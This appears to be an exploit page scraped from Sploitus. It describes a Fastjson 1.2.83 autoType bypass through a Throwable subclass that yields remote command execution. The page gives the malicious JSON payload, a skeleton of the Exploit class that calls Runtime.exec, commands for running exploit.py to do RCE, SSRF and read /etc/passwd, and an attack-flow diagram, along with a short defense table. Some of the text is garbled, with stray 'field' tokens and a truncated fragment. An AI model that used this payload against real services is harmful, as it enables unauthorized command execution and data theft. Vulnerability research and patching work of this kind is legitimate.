Exploit for fastjson-1.2.83-poc

## https://sploitus.com/exploit?id=29B44269-6668-5D20-A0DC-70044B172909
### 

 Fastjson **1.2.84** ，。

### Why no need for Gadgets

| Historical Vulnerabilities | Needed | This Vulnerability |
|-------------------------|-------|---------------------|
| JdbcRowSetImpl | JDBC Library | ❌ Not Required |
| TemplatesImpl | Xalan Library | ❌ Not Required |
| commons-io Chain | commons-io | ❌ Not Required |
| AutoCloseable Chain | MySQL Driver, etc. | ❌ Not Required |
| **This Vulnerability** | **Any Exception Subclass** | **The attacker compiles it themselves and places it in the classpath** |

The attacker writes a `Exploit extends Throwable` class and places it in the target classpath through file upload, path traversal, dependency obfuscation, etc. **This class does not depend on any third-party libraries; it can be compiled using only the standard JDK libraries.**

---

## Exploitation Conditions

1. **Fastjson Version**: `1.2.68 ≤ version ≤ 1.2.83`
2. **SafeMode Off** (default): `ParserConfig.getGlobalInstance().isSafeMode() = false`
3. **Business DTOs contain Throwable/Exception/Error type fields** (Common in Java projects, such as error responses, log objects, exception wrapping classes)
4. **Malicious `.class` files are already in the target classpath**

---

## List of PoC Files

```
fastjson-exploit/
├── fastjson-1.2.83.jar ← Official Fastjson 1.2.83 Jar (Maven Central)
├── Exploit.java ← Malicious Throwable Subclass (Command Execution + Output)
├── Exploit.class ← Compiled Output
├── Proof.java ← Simplest PoC (Does Not Depend on thefield, Verifies Vulnerability Directly)
├── Proof.class ← Compiled Output
├── TargetServer.java ←field HTTP Server (Simulates API Endpoint)
├── TargetServer.class ← Compiled Output
├── TargetServer$ErrorResponse.class
├── TargetServer$BeanWithThrowable.class
├── exploit.py ← Python Remote Exploitation Script
```

---

## Quick Reproducibility

### Environment Requirements

- JDK 8+
- Python 3 (Remote Exploitation)
- Network Access (field Scenario)

### 1. Simplest Verification (Proof.java — Does Not Depend on Anyfield)

A simple proof that the vulnerability exists in Fastjson itself:

```bash
cd fastjson-exploit
javac -cp fastjson-1.2.83.jar Exploit.java Proof.java
java -cp fastjson-1.2.83.jar;. Proof
```

Expected Output:

```
Fastjson Version: 1.2.83
autoTypeSupport: false
safeMode: false

Command Execution Result:
flag{linux_deployment_success}
```

The core logic of `Proof.java` consists of **only one business code line**:

```java
String json = "{\"error\":{\"@type\":\"Exploit\",\"message\":\"cat /flag\"}}\";
MyResponse resp = JSON.parseObject(json, MyResponse.class);
```

### 2.field Reproduction

Start thefield:

```bash
cd fastjson-exploit
javac -cp fastjson-1.2.83.jar Exploit.java TargetServer.java
java -cp fastjson-1.2.83.jar;. TargetServer 18000
```

Python Remote Exploitation:

```bash
# Probe Target Configuration
python3 exploit.py http://127.0.0.1:18000 probe

# RCE — Command Output
python3 exploit.py http://127.0.0.1:18000 rce 'id'
python3 exploit.py http://127.0.0.1:18000 rce 'cat /etc/passwd'

# SSRF Test
python3 exploit.py http://127.0.0.1:18000 ssrf http://your-server/callback

# Information Collection — Scan Available Classes in the Classpath
python3 exploit.py http://127.0.0.1:18000 load javax.script.ScriptEngineManager
```

# Fully Automated Attacks:
Detect → Collect Information → SSRF → RCE

```python3 exploit.py http://127.0.0.1:18000 full 'id > /tmp/pwned'
```

### Exploit.java – Malicious payload

```java
public class Exploit extends Throwable {
 public Exploit(String cmd) {
 super(exec(cmd)); // The command comes from the message field of JSON
 }

 private static String exec(String cmd) {
 // Execute the command, capture stdout + stderr, and return a string
 // The string is set as Throwable.detailMessage; it is directly echoed back as part of the JSON response
 }
}
```

**Key points**: The value of the `message` field is passed directly to the `Exploit(String)` constructor. The constructor executes the command using `Runtime.getRuntime().exec()`, and the command’s output is stored in `Throwable.detailMessage`, which is returned to the attacker along with the HTTP response.

## Defense strategies

| Priority | Strategy | Description |
|---------|----------|--------------|
| **Recommended** | **Upgrade to Fastjson 2.x** | Complete rewriting of the architecture; this flaw no longer exists |
| **Temporary** | **Enable SafeMode** | `ParserConfig.getGlobalInstance().setSafeMode(true)` |
| JVM parameter | SafeMode | `-Dfastjson.parser.safeMode=true` |
| Configuration file | SafeMode | `fastjson.parser.safeMode=true` |

**Note**: The Fastjson 1.x repository was archived as read-only on October 23, 2024. Official **patches will never be released**. `autoTypeSupport=false` (default configuration) **does not address** this vulnerability. ### Comparison of configuration effects

| Configuration | Can be bypassed? |
|-------------|------------------|
| `autoTypeSupport=false` (default) | ❌ – Bypass possible by using `expectClassFlag` |
| Remove third-party dangerous classes | ❌ – Does not rely on external Gadgets |
| **`safeMode=true`** | ✅ – Directly rejects all autoType attempts |
| **Upgrade to Fastjson 2.x** | ✅ – Complete rewriting of the code |

---

## Attack process (complete diagram)

```
Attacker Fastjson application
 │ │
 │ POST /api/error │
 │ {"error":{ │
 │ "@type":"Exploit", │
 │ "message":"cat /flag" │
 │ }} │
 │ ─────────────────────────────────> │
 │ │ JSON.parseObject(body, ErrorResponse.class)
 │ │ → error field type = Throwable
 │ │ → ThrowableDeserializer processed
 │ │ → checkAutoType("Exploit", Throwable.class)
 │ │ → expectClassFlag = true ← Bypass of autoType! │ │ → TypeUtils.loadClass("Exploit") succeeded
 │ │ → new Exploit("cat /flag")
 │ │ → Runtime.exec("cat /flag")
 │ │
 │ {"status":"ok", │
 │ "error":"flag{...}"} │ ← Command output echoed back
 │ **Disclaimer**: The code in this repository is for security research and vulnerability testing only. Do not use for illegal purposes.